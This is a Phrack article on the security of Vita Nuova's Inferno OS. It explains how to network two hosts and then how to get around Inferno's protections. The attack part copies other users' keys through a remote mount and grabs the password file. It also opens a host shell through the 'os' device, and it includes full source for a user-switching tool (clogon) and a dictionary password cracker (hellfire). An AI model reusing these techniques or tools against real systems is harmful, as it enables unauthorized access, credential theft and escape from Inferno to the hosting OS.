==Phrack Inc.== Volume 0x0b, Issue 0x3a, Phile #0x0c of 0x0e |=------------------=[ The Security of Inferno OS ]=---------------------=| |=-----------------------------------------------------------------------=| |=--------------------=[ dalai ]=-----------------------=| This paper goes over the security semantics of Vita Nuova's Inferno OS, and some means by which they may be circumvented. Inferno is a small, embedded OS intended to run on devices which may take advantage of its distributed aspects. The example Bell Labs likes to use is the T.V. set-top box. Anything which relies on remote data to run is an Inferno candidate. Other potential uses include networked PDA's, and local broadband access hubs (ie for cablemodem, or ION). This paper is about security and is not an introduction to Inferno. The Inferno Documents and man pages have been made available for public consumption and are located at Vita Nuova's website, http://www.vitanuova.com. Also, notice the change with my email address. Insomnia.org get's DoS'd so they shut out their users. Go figure. Lucent has mentioned their intent to utilize Inferno in some of it's up and coming products. Firewalls and routers are already being built with Inferno, and potential future use includes telecom equipment, and dedicated(cheap) Internet terminals. Some outside companies are also taking interest in Inferno, but noone can predict how much it will be used in the future, or how successful it will be. There are many reasons why you'd enjoy playing with Inferno. If it gains the market saturation that Vita Nuova hopes for, you will have a vast network of devices to play with. The industry hopes to 'e-nable'(tm) nearly everything that runs off of power. Vehicles, large household appliances, probably even toasters will shortly require some kind of embedded OS to drive their superfluous hardware. Inferno is one of the answers, and probably the most robust. 90% of anything mentioning Inferno and security in the same context talks about the encryption and authentication of network messages. This is all fine and dandy, but there's much more to be considered, especially in an internetworked OS. And Inferno is about networking. There is little point in a stand alone host. And thus networking Inferno is fundamental. Here's a little info to get your hosts up and talking, preferably to another Inferno-based machine. The services to be run by Inferno upon execution of the server binary, 'lib/srv', are contained in /services/server/config. By default the file contains these services: styx 6666/tcp # Main file service mpeg 6667/tcp # Mpeg stream rstyx 6668/tcp # Remote invocation infdb 6669/tcp # Database connection infweb 6670/tcp # inferno web server infsigner 6671/tcp # inferno signing services infcsigner 6672/tcp # inferno signing services inflogin 6673/tcp # inferno login service virgil 2202/udp virgild # inferno info The file /services/cs/services functions as the Unix /etc/services, and can be used to reference the above service names with port numbers. 'netstat' does for Inferno something similar to what it does for Unix. If run under a Unix, copy the contents of /services/cs/services to your /etc/services file. In order for Inferno to successfully talk to other hosts you must start the connection server, 'lib/cs'. This daemon translates network names(in the form of protocol!host!port) into a namespace network presence. You can specify the services 'lib/srv' is to run by editing the file /services/server/config. You can get two hosts up and talking with these steps, assuming that the hosting OS' are connected and can communicate. Hostname translation, IP interface selection, and etc. is decided upon by the hosting OS. 1. DNS: 'echo ip.of.dns.server > /services/dns/db', rebuild /services/dns/db. There's an example already in there. 2. CS: edit /services/cs/db, then 'lib/cs' 3. SRV: edit /services/server/config, then 'lib/srv' (Run on server) 4. LOGINS: Run 'changelogin ' on the server, this must be done for each user who will be logging in. 5. KEYS: Run 'getauthinfo default' on the hosts to create the initial certificates. Do this for both the server and the client. Do 'getauthinfo ' on the client. Note that this is for the default certificate. To get one for use with a particular ip, do 'getauthinfo tcp!hostname'. 6. DONE: You may then use the Inferno network services, for instance you may mount a remote computer under your namespace: 'mount tcp!host /n/remote' to verify: 'lc /n/remote/' or: 'netstat' And it's that easy folks. You may want your 'lib/cs', 'lib/srv', and mount commands to be done automatically at boot. The 'mount' is just an example, there's an infinite number of things you can do with your two hosts. You may even opt to mobilize your lego's[1]. Read the man pages. ***** Because of the design of Inferno, and the way it is meant to be applied, security can be easily circumvented, yielding unauthorized access on remote machines, and access to files on the current machine that you shouldn't be able to touch. I should say something about hosted Inferno before I forget. Because it will rely on the hosting OS' IP mechanism's, the sockets created by Inferno will behave under pressure as one created by the host. While a tcp connect() scan will dirty up the Inferno console with messages, if the host OS is Win32 and someone's invoked 'nmap -sF' against it then Inferno's services will be invisible along with Windows'. Likewise, all normal system logging still applies to the ports Inferno is using. Understand? The OS uses a virtual machine model to run its executables, which are typically coded in the Inferno specific language Limbo. The virtual machine Dis is secured by the virtue of type checking. Perms under inferno are like those in Unix. 'ls -l' will show you what I mean. Unlike Unix, namespace resources created by a private application are not by default made available to anyone else except the children of that process. Thus we see that The Labs have put some effort into securing Inferno. Cryptography is integrated into the OS. Messages exchanged between two Inferno hosts can be encrypted, or authenticated and plaintext. It's built- in cryptographic algorithms are, according to the manual: - SHA/MD5 hash - Elgamal public key for signature systems - RC4 - DES - Diffie-Hellman for key exchange Authentication relies on the public-key aspects of the above. Isn't that super? He who believes cryptography is the end-all of security measures is sad indeed. Call me lame or whatever, I'm just not interested in crypto. Here I will share with you my techniques for upping your enjoyment of Inferno. Check it out, no smoke or mirrors. No strings. If you have console access you have the Inferno, so all of my stuff may be done via remote login, you can do the Windows thing both locally and remotely in the case of 95/98. Test boxes follow the suggested installation perm's. 1) Windows If the Inferno is hosted on Windows 95/98, it won't even try to protect key files. Even if it did, we could just grab what we wanted from Windows, with the default path to the Inferno namespace being C:\USERS\INFERNO. Observe. stacey; cat /dev/user inferno stacey; mount tcp!jessica /n/remote stacey; cd /n/remote/usr/dalai/keyring stacey; lc default stacey; cp default /usr/inferno stacey; And then we can login as dalai from a third party box, or log into the Window's machine's server. Not as big a deal as it seems, considering how Inferno is supposed to be run. We can also use this to get the password file, /keydb/password. 2) clogon Attached is my command line port of the GUI login utility provided by Inferno in the distribution. I call it clogon. Now you can't say I've never done anything for you. This does basically the same thing as wm/logon, but is done from the text mode console. Inferno will allow you to switch your user name once per session. stacey; cat /dev/user inferno stacey; ./clogon -u dalai stacey; cat /dev/user dalai stacey; 3) hellfire Hellfire is my Inferno password cracker. The password file is located under /keydb/password, and contains the list of users which will be logging in remotely to the machine. The Hellfire source can be found below, or at the Trauma Inc. page. jessica; hellfire -d dict -u luser hellfire, by dalai(dalai@swbt.net) A Traumatized Production. Cracking... Password is "victim" Have a nice day. jessica; You don't need that password for the local machine, however you may use it in conjunction with luser's keys to gain his access to a remote machine. And it will work the same way with more mundane distributed services. The day the utility companies rely on Inferno is the day I hook my computer up to the washer and dryer. ****** Inferno may run stand alone, or hosted on another OS(Plan9, Win32, several Unix's). When hosted, there are quite often opportunities not only to hack Inferno from the host, but also the host from Inferno. By default the Inferno emulator(emu) is started with no login prompt. This is fine for me, because I use my host OS's login to get into Inferno. You can have Inferno run a specified program via the emu command line, and thus enable selective login. For starters, we can execute a command on the host OS as follows: stacey; bind -a '#C' / stacey; os '/bin/sh -i' devcmd: /bin/sh -i pid 12600 sh: no job control in this shell sh-2.03$ You have the perm's given to the user and group that Inferno was installed under, the suggested is user 'Inferno' and group 'inf'. The manual says that if some careless person started Inferno as root, 'os' will run as the caller's Inferno username. If that username does not exist on the hosting system, then 'cmd' will run as user/nobody. Yes, I'm thinking what you're thinking. According to the manual, IF Inferno is installed under root, AND you change your Inferno user name to that of another user on the host OS, THEN you will become that user on the host. But what if that user doesn't have an account on the Inferno? With a minor modification clogon will allow you to be whatever user you choose, you may use any name at all. Note that on Window's systems the 'os' argument must be a binary executable in the current path. Things built into the regular Windows interpreter(command) won't work. Like Unix, the command is run under the same user id that started emu. Also, you can make a dos/windows/iso9660 fs visible under Inferno. ****** After becoming curious with Inferno, I downloaded and played with it for awhile. I became interested enough to write this paper, and i'm overall satisfied with the system. Who knows, I may even use it in some upcoming projects. If you like the syntax and feel of Inferno but want a more production-type OS, see Plan9. Notes: [1] - Styx on a Brick: http://www.vitanuova.com/inferno/lego1.html ------------------------------ clogon.b ------------------------------------ # clogon # port of wm/logon to the command line # # dalai(dalai@swbt.net) # http://www.swbt.net/~dalai implement clogon; include "sys.m"; sys: Sys; include "draw.m"; include "sh.m"; include "newns.m"; clogon: module { init: fn(nil: ref Draw->Context, argv: list of string); }; init(nil: ref Draw->Context, argv: list of string) { sys = load Sys Sys->PATH; sys->print("clogon, by dalai(dalai@swbt.net)\n"); sys->pctl(sys->FORKNS|sys->FORKFD, nil); progdir := "#p/" + string sys->pctl(0, nil); kfd := sys->open(progdir+"/ctl", sys->OWRITE); if(kfd == nil) { sys->sprint("cannot open %s: %r", progdir+"/ctl"); sys->raise("fail:bad prog dir"); } usr := ""; if(argv != nil) { argv = tl argv; if(argv != nil && hd argv == "-u") { argv = tl argv; if(argv != nil) { usr = hd argv; argv = tl argv; } } } if (usr == nil || !logon(usr)) { sys->print("usage: clogon -u user\n"); } (ok, nil) := sys->stat("namespace"); if(ok >= 0) { ns := load Newns Newns->PATH; if(ns == nil) sys->print("failed to load namespace builder\n"); else if ((nserr := ns->newns(nil, nil)) != nil){ sys->print("error in user namespace file: %s", nserr); sys->print("\n"); } } sys->fprint(kfd, "killgrp"); errch := chan of string; spawn exec(argv, errch); err := <-errch; if (err != nil) { sys->fprint(stderr(), "logon: %s\n", err); sys->raise("fail:exec failed"); } } exec(argv: list of string, errch: chan of string) { sys->pctl(sys->NEWFD, 0 :: 1 :: 2 :: nil); e := ref Sys->Exception; if (sys->rescue("fail:*", e) == Sys->EXCEPTION) { sys->rescued(Sys->ONCE, nil); exit; } argv = "/dis/sh/sh.dis" :: "-i" :: "-n" :: nil; cmd := load Command hd argv; if (cmd == nil) { errch <-= sys->sprint("cannot load %s: %r", hd argv); } else { errch <-= nil; cmd->init(nil, argv); } } logon(user: string): int { userdir := "/usr/"+user; if(sys->chdir(userdir) < 0) { sys->print("There is no home directory for that user mounted on this machine\n"); return 0; } # # Set the user id # fd := sys->open("/dev/user", sys->OWRITE); if(fd == nil) { sys->print("failed to open /dev/user: %r\n"); return 0; } b := array of byte user; if(sys->write(fd, b, len b) < 0) { sys->print("failed to write /dev/user with error: %r\n"); return 0; } return 1; } stderr(): ref Sys->FD { return sys->fildes(2); } ------------------------------ clogon.b ------------------------------------ ------------------------------ hellfire.b ---------------------------------- # hellfire.b : /keydb/password decoder # # by: dalai(dalai@swbt.net) # http://www.swbt.net/~dalai implement hellfire; include "sys.m"; sys: Sys; include "draw.m"; draw: Draw; include "bufio.m"; bufio: Bufio; Iobuf: import bufio; include "string.m"; str: String; include "arg.m"; arg: Arg; include "keyring.m"; keyring: Keyring; include "security.m"; pass: Password; hellfire: module { init: fn(ctxt: ref Draw->Context, argv: list of string); usage: fn(); finish: fn(temp: array of byte); }; init(nil: ref Draw->Context, argv: list of string) { sys = load Sys Sys->PATH; draw = load Draw Draw->PATH; bufio = load Bufio Bufio->PATH; str = load String String->PATH; arg = load Arg Arg->PATH; pass = load Password Password->PATH; keyring = load Keyring Keyring->PATH; sys->print("\nhellfire, by dalai(dalai@swbt.net)\n"); sys->print("A Traumatized Production.\n"); if(argv == nil) usage(); dfile := pfile := uid := ""; arg->init(argv); while((tmp := arg->opt()) != 0) case tmp{ 'd' => dfile = arg->arg(); 'u' => uid = arg->arg(); * => usage(); } if(dfile == nil || uid == nil) usage(); dfd := bufio->open(dfile, bufio->OREAD); if(dfd == nil){ sys->print("Could not open %s.\n", dfile); exit; } pw := pass->get(uid); if(pw == nil){ sys->print("Could not get entry for %s.\n", uid); exit; } sys->print("Cracking...\n\n"); pwbuff2 := array[keyring->SHAdlen] of byte; pwbuff := array[keyring->SHAdlen] of byte; # try some common passwords for(n := 1; n < 4; n++){ if(n == 1) pwbuff = array of byte "password"; if(n == 2) pwbuff = array of byte uid; if(n == 3) pwbuff = array of byte ""; keyring->sha(pwbuff, keyring->SHAdlen, pwbuff2, nil); temp1 := string pwbuff2; temp2 := string pw.pw; if(temp2 == temp1){ finish(pwbuff); } } # if not, try the dictionary for(dentry := "" ; ;){ dentry = dfd.gets('\n'); if(dentry == nil) break; if(dentry[len dentry-1] == '\n'){ heh := ""; (heh, nil) = str->splitl(dentry, "\n"); dentry = heh; } pwbuff = array of byte dentry; keyring->sha(pwbuff, keyring->SHAdlen, pwbuff2, nil); temp1 := string pwbuff2; temp2 := string pw.pw; if(temp2 == temp1){ finish(pwbuff); } } sys->print("done.\n"); sys->print("Have a nice day.\n"); exit; } finish(pwbuff: array of byte) { sys->print("Password is \"%s\"\n", string pwbuff); sys->print("Have a nice day.\n"); exit; } usage() { sys->print("usage: hellfire -d dictionary -u user\n"); exit; } ----------------------------- hellfire.b ---------------------------------- |=[ EOF ]=---------------------------------------------------------------=|